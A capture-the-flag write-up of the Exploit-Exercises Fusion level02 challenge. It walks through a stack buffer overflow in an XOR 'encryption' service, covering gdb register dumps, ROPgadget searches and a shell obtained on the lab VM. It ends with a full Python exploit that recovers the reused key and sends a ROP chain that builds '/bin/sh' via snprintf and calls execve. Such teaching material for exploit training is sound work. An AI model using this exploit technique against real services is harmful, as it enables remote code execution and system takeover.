Exploit-Exercises - Fusion Level02

New challenge! The description from exploit-exercises:

This level deals with some basic obfuscation / math stuff.

This level introduces non-executable memory and return into libc / .text / return orientated programming (ROP).

Fusion Level02 - Binary protections

This honestly took me some time, but I had lot of fun!

Let's have a look at the source code:

#include "../common/common.c"    

#define XORSZ 32

void cipher(unsigned char *blah, size_t len)  
{
  static int keyed;
  static unsigned int keybuf[XORSZ];

  int blocks;
  unsigned int *blahi, j;

  if(keyed == 0) {
      int fd;
      fd = open("/dev/urandom", O_RDONLY);
      if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE);
      close(fd);
      keyed = 1;
  }

  blahi = (unsigned int *)(blah);
  blocks = (len / 4);
  if(len & 3) blocks += 1;

  for(j = 0; j < blocks; j++) {
      blahi[j] ^= keybuf[j % XORSZ];
  }
}

void encrypt_file()  
{
  // http://thedailywtf.com/Articles/Extensible-XML.aspx
  // maybe make bigger for inevitable xml-in-xml-in-xml ?
  unsigned char buffer[32 * 4096];

  unsigned char op;
  size_t sz;
  int loop;

  printf("[-- Enterprise configuration file encryption service --]\n");

  loop = 1;
  while(loop) {
      nread(0, &op, sizeof(op));
      switch(op) {
          case 'E':
              nread(0, &sz, sizeof(sz));
              nread(0, buffer, sz);
              cipher(buffer, sz);
              printf("[-- encryption complete. please mention "
              "474bd3ad-c65b-47ab-b041-602047ab8792 to support "
              "staff to retrieve your file --]\n");
              nwrite(1, &sz, sizeof(sz));
              nwrite(1, buffer, sz);
              break;
          case 'Q':
              loop = 0;
              break;
          default:
              exit(EXIT_FAILURE);
      }
  }

}

int main(int argc, char **argv, char **envp)  
{
  int fd;
  char *p;

  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);

  encrypt_file();
}

It is pretty clear where the vulnerability is: an user input of arbitrary size is copied to a local buffer of fixed size (32*4096)... a straight stack-based buffer overflow.

Unfortunately our input is encrypted (xored) with a different pseudorandom key obtained from /dev/urandom every time we connect to the service (cipher function). The key is, however, reused within the same session. The output of this encryption is returned to the user.

void cipher(unsigned char *blah, size_t len)  
{
  static int keyed;
  ...
  if(keyed == 0) {
      ...
      keyed = 1;
  }
  ...
}

Since we are in a while loop and we can call multiple times the vulnerable routine, we'll use the first cycle to extract the key (sending just null bytes) and then send our payload encrypted with the same key to exploit the buffer overflow. The cipher routine will actually "decrypt" our payload (how XOR works) allowing us to overwrite EIP with the desired value.

Program received signal SIGSEGV, Segmentation fault.  
[Switching to process 8106]
0x41414141 in ?? ()  
(gdb) i r
eax            0x51    81  
ecx            0xbfb33c7b    -1078772613  
edx            0x1    1  
ebx            0xb784cff4    -1216032780  
esp            0xbfb53c90    0xbfb53c90  
ebp            0x41414141    0x41414141  
esi            0x0    0  
edi            0x0    0  
eip            0x41414141    0x41414141  
eflags         0x10246    [ PF ZF IF RF ]  
cs             0x73    115  
ss             0x7b    123  
ds             0x7b    123  
es             0x7b    123  
fs             0x0    0  
gs             0x33    51  
(gdb) x/4x $esp
0xbfb53c90:    0x41414141  0x41414141  0x41414141  0x41414141  
(gdb) 

EIP is under control and ESP is pointing to user controlled input. We cannot execute our shellcode directly from the stack due to the Non-Executable Stack policy, but, since the binary is not a PIE we can probably craft a chain of libc function calls (using the GOT) to obtain a shell. Remember also that stdin and stdout are redirected to the socket connection.

(gdb) disas 0x80489b0
Dump of assembler code for function execve@plt:  
   0x080489b0 <+0>:    jmp    DWORD PTR ds:0x804b3d8
   0x080489b6 <+6>:    push   0xc0
   0x080489bb <+11>:    jmp    0x8048820
End of assembler dump.  

The "system()" function is not available, but we have "execve()" which works fine. Since there is no "/bin/sh" string in the binary we must write it ourselves to a writable memory location (bss?) with a bunch of "snprintf()" calls.

(gdb) disas 0x80489f0
Dump of assembler code for function snprintf@plt:  
   0x080489f0 <+0>:    jmp    DWORD PTR ds:0x804b3e8
   0x080489f6 <+6>:    push   0xe0
   0x080489fb <+11>:    jmp    0x8048820
End of assembler dump.  
0804b418 g       *ABS*    00000000              __bss_start  
0804b420  w    O .bss    00000004              environ@@GLIBC_2.0  
root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "/bin/sh"  
Gadgets information  
============================================================

Total strings found: 0

root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "sh"  
Gadgets information  
============================================================

Total strings found: 0

root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "/bin/"  
Gadgets information  
============================================================
0x08049d78: "/bin/"

Total strings found: 1

root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "s"  
Gadgets information  
============================================================
0x08048142: "s"  
...

Total strings found: 109

root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "h"  
Gadgets information  
============================================================
0x080484e1: "h"  
...

Total strings found: 51  

The stack will look something similar:

Stack Layout

After the execve we should be able to interact with the remote system:

Claudios-MacBook-Pro:fusion claudio$ python level02-1.py  
[*] Obtaining key
[+] Key acquired 678e14cb51840e93837e0a6200b7ed53d775eef2dd431b6fc5db063b78848fcccdc3bab6954e37af336ad172d5962272ffcc15ca718fc1d4f88bd7636a59e952364ef7e5f4cc3cbf592e9e91e03476a2526b62eeb7d5eed0e2903823e2e0e4248a2cd5123d15539ad07bf8d5c0f34e0c6110a51a1b04a1a6b7eb520bea7d6c85
[*] Encrypting payload
[*] Sending exploit
[+] Done... enjoy!
id  
uid=20002 gid=20002 groups=20002  
hostname  
fusion  
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd.img  
initrd.img.old  
lib  
media  
mnt  
opt  
proc  
rofs  
root  
run  
sbin  
selinux  
srv  
sys  
tmp  
usr  
var  
vmlinuz  
vmlinuz.old  

And finally the python exploit

import socket  
import struct  
import time  
import telnetlib

T = "172.16.165.130"  
P = 20002  
key_sz = 32*4

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((T,P))

def crypt(value, key):  
 return ''.join(chr(ord(value[x])^ord(key[x % key_sz])) for x in range(len(value)))

print "[*] Obtaining key"  
s.recv(100) # message from srv  
s.send("E")  
s.send(struct.pack("I", key_sz))  
s.send("\x00" * key_sz)  
time.sleep(0.5)  
s.recv(121) # message from srv  
sz = s.recv(4)  
sz = struct.unpack("I", sz)[0]  
key = s.recv(sz)  
print "[+] Key acquired %s" % key.encode("hex")

payl = "A"*131088 #junk  
payl += struct.pack("I",0x08049734) #eip -> ret

payl += struct.pack("I",0x080489f0) # snprintf    int snprintf(char *str, size_t size, const char *format, ...);  
payl += struct.pack("I",0x080499bc) # ppppr  
payl += struct.pack("I",0x0804b420) # snprintf - dest: bss[0]  
payl += struct.pack("I",0x00000006) # snprintf - size: 6 (including null byte)  
payl += struct.pack("I",0x08049d7d) # snprintf - format: "%s"  
payl += struct.pack("I",0x08049d78) # snprintf - src: "/bin/"

payl += struct.pack("I",0x080489f0) # snprintf  
payl += struct.pack("I",0x080499bc) # ppppr  
payl += struct.pack("I",0x0804b425) # snprintf - dest: bss[5]  
payl += struct.pack("I",0x00000002) # snprintf - size: 2  
payl += struct.pack("I",0x08049d7d) # snprintf - format: "%s"  
payl += struct.pack("I",0x08049d74) # snprintf - src: 's'

payl += struct.pack("I",0x080489f0) # snprintf  
payl += struct.pack("I",0x080499bc) # ppppr  
payl += struct.pack("I",0x0804b426) # snprintf - dest: bss[6]  
payl += struct.pack("I",0x00000002) # snprintf - size: 2  
payl += struct.pack("I",0x08049d7d) # snprintf - format: "%s"  
payl += struct.pack("I",0x08048bf4) # snprintf - src: 'h'

payl += struct.pack("I",0x080489b0) # execve  
payl += struct.pack("I",0xcccccccc) # last return  
payl += struct.pack("I",0x0804b420) # execve - command: (bss) "/bin/sh"  
payl += "\x00"*8 #execve args + env

print "[*] Encrypting payload"  
payl = crypt(payl, key)  
payl_size = len(payl)  
print "[*] Sending exploit"  
s.send("E")  
s.send(struct.pack("I", payl_size))  
s.send(payl)  
time.sleep(0.5)  
s.recv(120) # message from srv  
sz = s.recv(4)  
sz = struct.unpack("I", sz)[0]  
buff = s.recv(sz)

s.send("Q")

print "[+] Done... enjoy!"  
t = telnetlib.Telnet()  
t.sock = s  
t.interact()